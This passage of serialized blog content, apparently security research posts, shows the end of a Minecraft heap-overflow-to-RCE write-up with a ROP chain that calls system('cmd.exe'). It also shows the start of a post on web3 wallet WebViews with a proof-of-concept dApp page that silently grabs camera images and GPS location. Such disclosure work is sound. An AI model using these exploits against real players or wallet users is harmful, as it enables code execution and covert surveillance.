\"system\")",{"type":24,"value":153552}," to retrieve the function’s address. Finally, it invokes ",{"type":19,"tag":27,"props":153554,"children":153556},{"className":153555},[],[153557],{"type":24,"value":129239},{"type":24,"value":153559}," with the \"cmd.exe\" string.",{"type":19,"tag":20,"props":153561,"children":153562},{},[153563],{"type":24,"value":153564},"In the exploit script, the ROP chain looks something like this:",{"type":19,"tag":158,"props":153566,"children":153568},{"code":153567,"language":16914,"meta":7,"className":16915,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[153569],{"type":19,"tag":27,"props":153570,"children":153571},{"__ignoreMap":7},[153572,153580,153588,153613,153621,153629,153636,153644,153652,153679,153692,153705,153726,153755,153784,153791,153799,153812,153820,153856,153864,153871,153879,153886,153911,153922,153934],{"type":19,"tag":168,"props":153573,"children":153574},{"class":170,"line":171},[153575],{"type":19,"tag":168,"props":153576,"children":153577},{"style":373},[153578],{"type":24,"value":153579},"# get the address of `GetModuleHandle` to `rax`\n",{"type":19,"tag":168,"props":153581,"children":153582},{"class":170,"line":198},[153583],{"type":19,"tag":168,"props":153584,"children":153585},{"style":212},[153586],{"type":24,"value":153587},"rop.gadget(pop_r8)\n",{"type":19,"tag":168,"props":153589,"children":153590},{"class":170,"line":415},[153591,153596,153600,153605,153609],{"type":19,"tag":168,"props":153592,"children":153593},{"style":212},[153594],{"type":24,"value":153595},"rop.gadget(addr_get_module_handle_a ",{"type":19,"tag":168,"props":153597,"children":153598},{"style":399},[153599],{"type":24,"value":1757},{"type":19,"tag":168,"props":153601,"children":153602},{"style":382},[153603],{"type":24,"value":153604}," 0x",{"type":19,"tag":168,"props":153606,"children":153607},{"style":192},[153608],{"type":24,"value":132356},{"type":19,"tag":168,"props":153610,"children":153611},{"style":212},[153612],{"type":24,"value":557},{"type":19,"tag":168,"props":153614,"children":153615},{"class":170,"line":450},[153616],{"type":19,"tag":168,"props":153617,"children":153618},{"style":373},[153619],{"type":24,"value":153620},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":19,"tag":168,"props":153622,"children":153623},{"class":170,"line":560},[153624],{"type":19,"tag":168,"props":153625,"children":153626},{"style":212},[153627],{"type":24,"value":153628},"rop.gadget(mov_rax_r8_28)\n",{"type":19,"tag":168,"props":153630,"children":153631},{"class":170,"line":666},[153632],{"type":19,"tag":168,"props":153633,"children":153634},{"emptyLinePlaceholder":14},[153635],{"type":24,"value":1093},{"type":19,"tag":168,"props":153637,"children":153638},{"class":170,"line":694},[153639],{"type":19,"tag":168,"props":153640,"children":153641},{"style":373},[153642],{"type":24,"value":153643},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":19,"tag":168,"props":153645,"children":153646},{"class":170,"line":707},[153647],{"type":19,"tag":168,"props":153648,"children":153649},{"style":212},[153650],{"type":24,"value":153651},"rop.gadget(pop_rcx)\n",{"type":19,"tag":168,"props":153653,"children":153654},{"class":170,"line":725},[153655,153660,153665,153670,153674],{"type":19,"tag":168,"props":153656,"children":153657},{"style":212},[153658],{"type":24,"value":153659},"rop.gadget(",{"type":19,"tag":168,"props":153661,"children":153662},{"style":382},[153663],{"type":24,"value":153664},"0x",{"type":19,"tag":168,"props":153666,"children":153667},{"style":192},[153668],{"type":24,"value":153669},"7468B68",{"type":19,"tag":168,"props":153671,"children":153672},{"style":212},[153673],{"type":24,"value":481},{"type":19,"tag":168,"props":153675,"children":153676},{"style":373},[153677],{"type":24,"value":153678},"# offset of \"ucrtbase.dll\" string\n",{"type":19,"tag":168,"props":153680,"children":153681},{"class":170,"line":746},[153682,153687],{"type":19,"tag":168,"props":153683,"children":153684},{"style":212},[153685],{"type":24,"value":153686},"rop.gadget(ret) ",{"type":19,"tag":168,"props":153688,"children":153689},{"style":373},[153690],{"type":24,"value":153691},"# movaps alignment\n",{"type":19,"tag":168,"props":153693,"children":153694},{"class":170,"line":755},[153695,153700],{"type":19,"tag":168,"props":153696,"children":153697},{"style":212},[153698],{"type":24,"value":153699},"rop.gadget(push_rax_ret) ",{"type":19,"tag":168,"props":153701,"children":153702},{"style":373},[153703],{"type":24,"value":153704},"# calls `GetModuleHandle`\n",{"type":19,"tag":168,"props":153706,"children":153707},{"class":170,"line":1008},[153708,153713,153717,153722],{"type":19,"tag":168,"props":153709,"children":153710},{"style":212},[153711],{"type":24,"value":153712},"rop.literal(u64(",{"type":19,"tag":168,"props":153714,"children":153715},{"style":382},[153716],{"type":24,"value":621},{"type":19,"tag":168,"props":153718,"children":153719},{"style":181},[153720],{"type":24,"value":153721},"\"ucrtbase\"",{"type":19,"tag":168,"props":153723,"children":153724},{"style":212},[153725],{"type":24,"value":17166},{"type":19,"tag":168,"props":153727,"children":153728},{"class":170,"line":1025},[153729,153733,153737,153742,153747,153751],{"type":19,"tag":168,"props":153730,"children":153731},{"style":212},[153732],{"type":24,"value":153712},{"type":19,"tag":168,"props":153734,"children":153735},{"style":382},[153736],{"type":24,"value":621},{"type":19,"tag":168,"props":153738,"children":153739},{"style":181},[153740],{"type":24,"value":153741},"\".dll",{"type":19,"tag":168,"props":153743,"children":153744},{"style":45855},[153745],{"type":24,"value":153746},"\\x00\\x00\\x00\\x00",{"type":19,"tag":168,"props":153748,"children":153749},{"style":181},[153750],{"type":24,"value":17514},{"type":19,"tag":168,"props":153752,"children":153753},{"style":212},[153754],{"type":24,"value":17166},{"type":19,"tag":168,"props":153756,"children":153757},{"class":170,"line":1042},[153758,153762,153766,153771,153776,153780],{"type":19,"tag":168,"props":153759,"children":153760},{"style":212},[153761],{"type":24,"value":153712},{"type":19,"tag":168,"props":153763,"children":153764},{"style":382},[153765],{"type":24,"value":621},{"type":19,"tag":168,"props":153767,"children":153768},{"style":181},[153769],{"type":24,"value":153770},"\"system",{"type":19,"tag":168,"props":153772,"children":153773},{"style":45855},[153774],{"type":24,"value":153775},"\\x00\\x00",{"type":19,"tag":168,"props":153777,"children":153778},{"style":181},[153779],{"type":24,"value":17514},{"type":19,"tag":168,"props":153781,"children":153782},{"style":212},[153783],{"type":24,"value":17166},{"type":19,"tag":168,"props":153785,"children":153786},{"class":170,"line":1055},[153787],{"type":19,"tag":168,"props":153788,"children":153789},{"emptyLinePlaceholder":14},[153790],{"type":24,"value":1093},{"type":19,"tag":168,"props":153792,"children":153793},{"class":170,"line":1064},[153794],{"type":19,"tag":168,"props":153795,"children":153796},{"style":373},[153797],{"type":24,"value":153798},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":19,"tag":168,"props":153800,"children":153801},{"class":170,"line":1087},[153802,153807],{"type":19,"tag":168,"props":153803,"children":153804},{"style":212},[153805],{"type":24,"value":153806},"rop.gadget(xchg_rcx_rax) ",{"type":19,"tag":168,"props":153808,"children":153809},{"style":373},[153810],{"type":24,"value":153811},"# move the return value of `GetModuleHandle` to rcx\n",{"type":19,"tag":168,"props":153813,"children":153814},{"class":170,"line":1096},[153815],{"type":19,"tag":168,"props":153816,"children":153817},{"style":212},[153818],{"type":24,"value":153819},"rop.gadget(pop_rdx)\n",{"type":19,"tag":168,"props":153821,"children":153822},{"class":170,"line":1105},[153823,153827,153831,153835,153839,153843,153847,153851],{"type":19,"tag":168,"props":153824,"children":153825},{"style":212},[153826],{"type":24,"value":153659},{"type":19,"tag":168,"props":153828,"children":153829},{"style":382},[153830],{"type":24,"value":153664},{"type":19,"tag":168,"props":153832,"children":153833},{"style":192},[153834],{"type":24,"value":153669},{"type":19,"tag":168,"props":153836,"children":153837},{"style":399},[153838],{"type":24,"value":6343},{"type":19,"tag":168,"props":153840,"children":153841},{"style":382},[153842],{"type":24,"value":153604},{"type":19,"tag":168,"props":153844,"children":153845},{"style":192},[153846],{"type":24,"value":86742},{"type":19,"tag":168,"props":153848,"children":153849},{"style":212},[153850],{"type":24,"value":481},{"type":19,"tag":168,"props":153852,"children":153853},{"style":373},[153854],{"type":24,"value":153855},"# offset of \"system\" string\n",{"type":19,"tag":168,"props":153857,"children":153858},{"class":170,"line":1174},[153859],{"type":19,"tag":168,"props":153860,"children":153861},{"style":212},[153862],{"type":24,"value":153863},"rop.gadget(get_proc_addr)\n",{"type":19,"tag":168,"props":153865,"children":153866},{"class":170,"line":1182},[153867],{"type":19,"tag":168,"props":153868,"children":153869},{"emptyLinePlaceholder":14},[153870],{"type":24,"value":1093},{"type":19,"tag":168,"props":153872,"children":153873},{"class":170,"line":1212},[153874],{"type":19,"tag":168,"props":153875,"children":153876},{"style":373},[153877],{"type":24,"value":153878},"# call `system(\"cmd.exe\")`\n",{"type":19,"tag":168,"props":153880,"children":153881},{"class":170,"line":1220},[153882],{"type":19,"tag":168,"props":153883,"children":153884},{"style":212},[153885],{"type":24,"value":153651},{"type":19,"tag":168,"props":153887,"children":153888},{"class":170,"line":1252},[153889,153893,153897,153902,153906],{"type":19,"tag":168,"props":153890,"children":153891},{"style":212},[153892],{"type":24,"value":153659},{"type":19,"tag":168,"props":153894,"children":153895},{"style":382},[153896],{"type":24,"value":153664},{"type":19,"tag":168,"props":153898,"children":153899},{"style":192},[153900],{"type":24,"value":153901},"7468DB8",{"type":19,"tag":168,"props":153903,"children":153904},{"style":212},[153905],{"type":24,"value":481},{"type":19,"tag":168,"props":153907,"children":153908},{"style":373},[153909],{"type":24,"value":153910},"# offset of \"cmd.exe\" string\n",{"type":19,"tag":168,"props":153912,"children":153913},{"class":170,"line":1260},[153914,153918],{"type":19,"tag":168,"props":153915,"children":153916},{"style":212},[153917],{"type":24,"value":153686},{"type":19,"tag":168,"props":153919,"children":153920},{"style":373},[153921],{"type":24,"value":153691},{"type":19,"tag":168,"props":153923,"children":153924},{"class":170,"line":1320},[153925,153929],{"type":19,"tag":168,"props":153926,"children":153927},{"style":212},[153928],{"type":24,"value":153699},{"type":19,"tag":168,"props":153930,"children":153931},{"style":373},[153932],{"type":24,"value":153933},"# calls `system`\n",{"type":19,"tag":168,"props":153935,"children":153936},{"class":170,"line":6486},[153937,153941,153945,153950,153955,153959],{"type":19,"tag":168,"props":153938,"children":153939},{"style":212},[153940],{"type":24,"value":153712},{"type":19,"tag":168,"props":153942,"children":153943},{"style":382},[153944],{"type":24,"value":621},{"type":19,"tag":168,"props":153946,"children":153947},{"style":181},[153948],{"type":24,"value":153949},"\"cmd.exe",{"type":19,"tag":168,"props":153951,"children":153952},{"style":45855},[153953],{"type":24,"value":153954},"\\x00",{"type":19,"tag":168,"props":153956,"children":153957},{"style":181},[153958],{"type":24,"value":17514},{"type":19,"tag":168,"props":153960,"children":153961},{"style":212},[153962],{"type":24,"value":17166},{"type":19,"tag":7050,"props":153964,"children":153966},{"id":153965},"demo",[153967],{"type":24,"value":153968},"Demo",{"type":19,"tag":20,"props":153970,"children":153971},{},[153972],{"type":24,"value":153973},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":19,"tag":129345,"props":153975,"children":153978},{"className":153976,"controls":14},[139312,153977],"blog-video-wide",[153979,153980,153984],{"type":24,"value":139315},{"type":19,"tag":138551,"props":153981,"children":153983},{"src":153982,"type":129343},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":24,"value":139321},{"type":19,"tag":36,"props":153986,"children":153987},{"id":26402},[153988],{"type":24,"value":16400},{"type":19,"tag":20,"props":153990,"children":153991},{},[153992],{"type":24,"value":153993},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":19,"tag":20,"props":153995,"children":153996},{},[153997],{"type":24,"value":153998},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":19,"tag":20,"props":154000,"children":154001},{},[154002],{"type":24,"value":154003},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":19,"tag":232,"props":154005,"children":154006},{},[154007],{"type":24,"value":236},{"title":7,"searchDepth":198,"depth":198,"links":154009},[154010,154014,154019,154030],{"id":144670,"depth":198,"text":144673,"children":154011},[154012,154013],{"id":144705,"depth":415,"text":144708},{"id":144721,"depth":415,"text":144724},{"id":144742,"depth":198,"text":144745,"children":154015},[154016,154017,154018],{"id":144758,"depth":415,"text":144761},{"id":144846,"depth":415,"text":144849},{"id":147146,"depth":415,"text":147149},{"id":2851,"depth":198,"text":2854,"children":154020},[154021,154022,154023,154024,154025,154026,154027,154028,154029],{"id":147253,"depth":415,"text":147256},{"id":147278,"depth":415,"text":147281},{"id":147415,"depth":415,"text":147418},{"id":149579,"depth":415,"text":149582},{"id":149941,"depth":415,"text":149944},{"id":150761,"depth":415,"text":150764},{"id":152875,"depth":415,"text":152878},{"id":153493,"depth":415,"text":153496},{"id":153965,"depth":415,"text":153968},{"id":26402,"depth":198,"text":16400},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":154035,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":154036,"description":154037,"date":154038,"author":154039,"image":154041,"isFeatured":14,"onBlogPage":14,"tags":154043,"body":154045,"_type":242,"_id":156368,"_source":244,"_file":156369,"_stem":156370,"_extension":247},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[28673,28672,154040],"nikolaos",{"src":154042,"width":94756,"height":11069},"/posts/insecure-webview-integrations/title.png",[29613,129451,154044],"webview",{"type":16,"children":154046,"toc":156355},[154047,154052,154057,154063,154068,154073,154078,154084,154089,154095,154117,154130,154150,154164,154170,154184,154192,154197,154203,154208,154217,154238,154382,154387,154393,154398,154403,154417,154421,154426,154444,155872,155876,155881,155893,155902,155907,155913,155935,155943,155948,155954,155959,155977,155982,155988,156001,156283,156311,156324,156329,156342,156346,156351],{"type":19,"tag":20,"props":154048,"children":154049},{},[154050],{"type":24,"value":154051},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":19,"tag":20,"props":154053,"children":154054},{},[154055],{"type":24,"value":154056},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":19,"tag":32847,"props":154058,"children":154060},{"id":154059},"exploiting-mobile-webviews",[154061],{"type":24,"value":154062},"Exploiting Mobile WebViews",{"type":19,"tag":20,"props":154064,"children":154065},{},[154066],{"type":24,"value":154067},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":19,"tag":20,"props":154069,"children":154070},{},[154071],{"type":24,"value":154072},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":19,"tag":20,"props":154074,"children":154075},{},[154076],{"type":24,"value":154077},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":19,"tag":36,"props":154079,"children":154081},{"id":154080},"handling-webview-permissions",[154082],{"type":24,"value":154083},"Handling WebView permissions",{"type":19,"tag":20,"props":154085,"children":154086},{},[154087],{"type":24,"value":154088},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":19,"tag":7050,"props":154090,"children":154092},{"id":154091},"android",[154093],{"type":24,"value":154094},"Android",{"type":19,"tag":20,"props":154096,"children":154097},{},[154098,154100,154107,154109,154115],{"type":24,"value":154099},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":19,"tag":269,"props":154101,"children":154104},{"href":154102,"rel":154103},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[273],[154105],{"type":24,"value":154106},"onPermissionRequest",{"type":24,"value":154108},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":19,"tag":27,"props":154110,"children":154112},{"className":154111},[],[154113],{"type":24,"value":154114},"PermissionRequest",{"type":24,"value":154116}," object where the WebView developers must decide whether to grant or deny it.",{"type":19,"tag":315,"props":154118,"children":154119},{},[154120],{"type":19,"tag":20,"props":154121,"children":154122},{},[154123,154125,154128],{"type":24,"value":154124},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":19,"tag":168,"props":154126,"children":154127},{},[],{"type":24,"value":154129},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":19,"tag":20,"props":154131,"children":154132},{},[154133,154135,154141,154143,154149],{"type":24,"value":154134},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":19,"tag":27,"props":154136,"children":154138},{"className":154137},[],[154139],{"type":24,"value":154140},"getOrigin()",{"type":24,"value":154142}," and the requested permissions with ",{"type":19,"tag":27,"props":154144,"children":154146},{"className":154145},[],[154147],{"type":24,"value":154148},"getResources()",{"type":24,"value":948},{"type":19,"tag":20,"props":154151,"children":154152},{},[154153,154155,154162],{"type":24,"value":154154},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":19,"tag":269,"props":154156,"children":154159},{"href":154157,"rel":154158},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[273],[154160],{"type":24,"value":154161},"webview_shell",{"type":24,"value":154163},". In this instance, no origin checks are performed.",{"type":19,"tag":7050,"props":154165,"children":154167},{"id":154166},"ios",[154168],{"type":24,"value":154169},"iOS",{"type":19,"tag":20,"props":154171,"children":154172},{},[154173,154175,154182],{"type":24,"value":154174},"On the contrary, iOS ",{"type":19,"tag":269,"props":154176,"children":154179},{"href":154177,"rel":154178},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[273],[154180],{"type":24,"value":154181},"documentation",{"type":24,"value":154183}," states that:",{"type":19,"tag":315,"props":154185,"children":154186},{},[154187],{"type":19,"tag":20,"props":154188,"children":154189},{},[154190],{"type":24,"value":154191},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":19,"tag":20,"props":154193,"children":154194},{},[154195],{"type":24,"value":154196},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":19,"tag":36,"props":154198,"children":154200},{"id":154199},"the-shortcomings-of-webview-implementations",[154201],{"type":24,"value":154202},"The shortcomings of WebView implementations",{"type":19,"tag":20,"props":154204,"children":154205},{},[154206],{"type":24,"value":154207},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":19,"tag":28818,"props":154209,"children":154210},{"style":28820},[154211],{"type":19,"tag":1344,"props":154212,"children":154216},{"src":154213,"alt":154214,"style":154215},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":19,"tag":20,"props":154218,"children":154219},{},[154220,154222,154228,154230,154236],{"type":24,"value":154221},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":19,"tag":27,"props":154223,"children":154225},{"className":154224},[],[154226],{"type":24,"value":154227},"react-native-webview",{"type":24,"value":154229},". If we take a look at how they handle a request that reaches the ",{"type":19,"tag":269,"props":154231,"children":154234},{"href":154232,"rel":154233},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[273],[154235],{"type":24,"value":154106},{"type":24,"value":154237}," method, we see a similar pattern.",{"type":19,"tag":158,"props":154239,"children":154243},{"className":154240,"code":154241,"language":154242,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n request.grant(grantedPermissions.toArray(new String[0]));\n grantedPermissions = null;\n return;\n}\n","java",[154244],{"type":19,"tag":27,"props":154245,"children":154246},{"__ignoreMap":7},[154247,154255,154284,154344,154364,154375],{"type":19,"tag":168,"props":154248,"children":154249},{"class":170,"line":171},[154250],{"type":19,"tag":168,"props":154251,"children":154252},{"style":373},[154253],{"type":24,"value":154254},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":19,"tag":168,"props":154256,"children":154257},{"class":170,"line":198},[154258,154262,154266,154271,154275,154280],{"type":19,"tag":168,"props":154259,"children":154260},{"style":419},[154261],{"type":24,"value":13027},{"type":19,"tag":168,"props":154263,"children":154264},{"style":212},[154265],{"type":24,"value":461},{"type":19,"tag":168,"props":154267,"children":154268},{"style":393},[154269],{"type":24,"value":154270},"requestedAndroidPermissions",{"type":19,"tag":168,"props":154272,"children":154273},{"style":212},[154274],{"type":24,"value":948},{"type":19,"tag":168,"props":154276,"children":154277},{"style":175},[154278],{"type":24,"value":154279},"isEmpty",{"type":19,"tag":168,"props":154281,"children":154282},{"style":212},[154283],{"type":24,"value":89509},{"type":19,"tag":168,"props":154285,"children":154286},{"class":170,"line":415},[154287,154292,154296,154301,154305,154310,154314,154319,154323,154327,154332,154336,154340],{"type":19,"tag":168,"props":154288,"children":154289},{"style":393},[154290],{"type":24,"value":154291}," request",{"type":19,"tag":168,"props":154293,"children":154294},{"style":212},[154295],{"type":24,"value":948},{"type":19,"tag":168,"props":154297,"children":154298},{"style":175},[154299],{"type":24,"value":154300},"grant",{"type":19,"tag":168,"props":154302,"children":154303},{"style":212},[154304],{"type":24,"value":500},{"type":19,"tag":168,"props":154306,"children":154307},{"style":393},[154308],{"type":24,"value":154309},"grantedPermissions",{"type":19,"tag":168,"props":154311,"children":154312},{"style":212},[154313],{"type":24,"value":948},{"type":19,"tag":168,"props":154315,"children":154316},{"style":175},[154317],{"type":24,"value":154318},"toArray",{"type":19,"tag":168,"props":154320,"children":154321},{"style":212},[154322],{"type":24,"value":500},{"type":19,"tag":168,"props":154324,"children":154325},{"style":419},[154326],{"type":24,"value":12569},{"type":19,"tag":168,"props":154328,"children":154329},{"style":825},[154330],{"type":24,"value":154331}," String",{"type":19,"tag":168,"props":154333,"children":154334},{"style":212},[154335],{"type":24,"value":1152},{"type":19,"tag":168,"props":154337,"children":154338},{"style":192},[154339],{"type":24,"value":1452},{"type":19,"tag":168,"props":154341,"children":154342},{"style":212},[154343],{"type":24,"value":100999},{"type":19,"tag":168,"props":154345,"children":154346},{"class":170,"line":450},[154347,154352,154356,154360],{"type":19,"tag":168,"props":154348,"children":154349},{"style":212},[154350],{"type":24,"value":154351}," grantedPermissions ",{"type":19,"tag":168,"props":154353,"children":154354},{"style":399},[154355],{"type":24,"value":486},{"type":19,"tag":168,"props":154357,"children":154358},{"style":382},[154359],{"type":24,"value":67756},{"type":19,"tag":168,"props":154361,"children":154362},{"style":212},[154363],{"type":24,"value":412},{"type":19,"tag":168,"props":154365,"children":154366},{"class":170,"line":560},[154367,154371],{"type":19,"tag":168,"props":154368,"children":154369},{"style":419},[154370],{"type":24,"value":14438},{"type":19,"tag":168,"props":154372,"children":154373},{"style":212},[154374],{"type":24,"value":412},{"type":19,"tag":168,"props":154376,"children":154377},{"class":170,"line":666},[154378],{"type":19,"tag":168,"props":154379,"children":154380},{"style":212},[154381],{"type":24,"value":1326},{"type":19,"tag":20,"props":154383,"children":154384},{},[154385],{"type":24,"value":154386},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":19,"tag":7050,"props":154388,"children":154390},{"id":154389},"real-world-exploitation",[154391],{"type":24,"value":154392},"Real world exploitation",{"type":19,"tag":20,"props":154394,"children":154395},{},[154396],{"type":24,"value":154397},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":19,"tag":20,"props":154399,"children":154400},{},[154401],{"type":24,"value":154402},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":19,"tag":20,"props":154404,"children":154405},{},[154406,154408,154415],{"type":24,"value":154407},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":19,"tag":269,"props":154409,"children":154412},{"href":154410,"rel":154411},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[273],[154413],{"type":24,"value":154414},"Justson",{"type":24,"value":154416},", used by a popular wallet in the Stellar ecosystem.",{"type":19,"tag":16345,"props":154418,"children":154419},{"id":36980},[154420],{"type":24,"value":32303},{"type":19,"tag":20,"props":154422,"children":154423},{},[154424],{"type":24,"value":154425},"In order to exploit this issue, we assume the following preconditions:",{"type":19,"tag":2869,"props":154427,"children":154428},{},[154429,154434,154439],{"type":19,"tag":47,"props":154430,"children":154431},{},[154432],{"type":24,"value":154433},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":19,"tag":47,"props":154435,"children":154436},{},[154437],{"type":24,"value":154438},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":19,"tag":47,"props":154440,"children":154441},{},[154442],{"type":24,"value":154443},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":19,"tag":158,"props":154445,"children":154447},{"className":47504,"code":154446,"language":29855,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n \u003Cmeta charset=\"utf-8\">\n \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n \u003Ch2>Smile dApp :)\u003C/h2>\n \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n \u003Cpre id=\"gps\">\u003C/pre>\n \u003Cimg id=\"pic\">\n \u003Cscript>\n window.addEventListener('unhandledrejection', function (event) {\n alert(`Unhandled Promise Rejection: ${event.reason}`);\n });\n window.onerror = function (msg, url, line, col, error) {\n alert('onerror: ' + msg);\n return false;\n };\n\n async function main() {\n const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n const video = document.createElement(\"video\");\n video.srcObject = stream;\n const canvas = document.createElement(\"canvas\");\n\n video.onloadedmetadata = () => {\n canvas.width = video.videoWidth;\n canvas.height = video.videoHeight;\n };\n\n connect.onclick = e => {\n video.play();\n\n canvas.getContext(\"2d\").drawImage(video, 0, 0);\n stream.getTracks().forEach(t => t.stop());\n canvas.toBlob((blob) => {\n pic.src = URL.createObjectURL(blob);\n });\n\n navigator.geolocation.getCurrentPosition(pos => {\n const c = pos.coords;\n gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n }, err => alert(err));\n };\n\n }\n main();\n \u003C/script>\n\u003C/body>\n\u003C/html>\n",[154448],{"type":19,"tag":27,"props":154449,"children":154450},{"__ignoreMap":7},[154451,154471,154486,154502,154532,154555,154570,154585,154617,154663,154699,154727,154742,154788,154834,154842,154910,154938,154953,154961,154968,154988,155048,155089,155118,155159,155166,155195,155233,155270,155277,155284,155317,155338,155345,155407,155463,155499,155545,155553,155560,155603,155636,155761,155794,155801,155808,155815,155827,155842,155857],{"type":19,"tag":168,"props":154452,"children":154453},{"class":170,"line":171},[154454,154458,154462,154467],{"type":19,"tag":168,"props":154455,"children":154456},{"style":29848},[154457],{"type":24,"value":31699},{"type":19,"tag":168,"props":154459,"children":154460},{"style":382},[154461],{"type":24,"value":31704},{"type":19,"tag":168,"props":154463,"children":154464},{"style":393},[154465],{"type":24,"value":154466}," 